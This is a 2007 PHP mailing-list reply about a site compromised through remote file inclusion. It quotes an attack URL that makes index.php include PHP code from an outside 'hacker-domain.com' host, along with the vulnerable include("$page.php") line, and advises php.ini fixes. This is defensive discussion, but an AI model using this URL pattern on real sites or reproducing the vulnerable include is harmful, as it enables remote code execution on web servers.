On Thu, March 15, 2007 9:15 am, Seak, Teng-Fong wrote: > Stut wrote: >> Seak, Teng-Fong wrote: >>> But after I've spent some time reading the log files, I've >>> finally >>> found out how the hackers managed to achieve worm infiltration. >>> >>> Actually, they're using an URL like this: >>> http://my-domain.com/index.php?page=http://hacker-domain.com/some-worm-file.txt? >>> >>> >>> And the some-worm-file.txt file contains some PHP code, while >>> my >>> index.php contains this instruction: >>> include("$page.php"); DON'T DO THAT!!! It is incredibly open to the problem that has bit you. There is a setting in php.ini to turn it OFF, actually. >>> This is enough to make infiltration possible! IMO, this >>> instruction >>> is supposed to be used like this, isn't it? So this is obviously a >>> PHP >>> security loophole and I don't see how the "poorly written scripts" >>> can >>> help anything unless a totally rewrite! And there's no "poor >>> server >>> security" that I can see. No, it is *NOT* supposed to be used like that. The programmer is supposed to have half a clue, and not do something that incredibly stupid, which has been documented in a thousand places. Start reading here: http://phpsec.org/ >> You mean to say that you're not validating what you're getting from >> the user? Frankly you deserve everything you get. > No, I don't deserve anything because, as I've written in the > original post (but I suppose you didn't notice), the website is > outsourced and made by a 3rd company. I had already spent a lot of > time > to learn and understand PHP, which normally isn't a part of my job. > So, > I had already done more than I should. Perhaps you can get some satisfaction by suing that 3rd party, on the basis of incompetence. Or not, if you are the one who did the include("$page.php"); >> This is *not* a "security loophole", it *is* a poorly written >> script. > Well, when something doesn't produce the expected effect/result, > or > produce a side-effect, it's considered as a bug. If that's not a bug, > why would the behaviour be changed from PHP4 to PHP5 then? >>> I've installed PHP5 and the problem seems fixed. However, PHP >>> writes out where the problem occurs! Indeed, the hacker could read >>> a >>> line like this: >>> Warning: include() [function.include]: URL file-access is disabled >>> in >>> the server configuration in >>> C:\Inetpub\wwwroot\index.php on line X That is a configuration option in php.ini It is not a core change to the PHP from 4 to 5. In fact, I think it was available in PHP 4 as well, or at least later versions of PHP 4. >>> I don't want them (the hackers) to be able to read this either. >>> That gives too much information about my server's file system. How >>> can >>> I stop that? In your php.ini display_errors off You may also want to turn the logging of errors ON so you can find your mistakes. While you're at it, crank up the error_reporting to E_ALL please. Thanks. >> Read the manual, specifically the error_reporting part. You can turn >> the display of these messages off. > I had. Well, I had tried to do so, spending time out of my > tightly > scheduled job planning. Guess you didn't schedule very well, then... -- Some people have a "gift" link here. Know what I want? I want you to buy a CD from some starving artist. http://cdbaby.com/browse/from/lynch Yeah, I get a buck. So? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
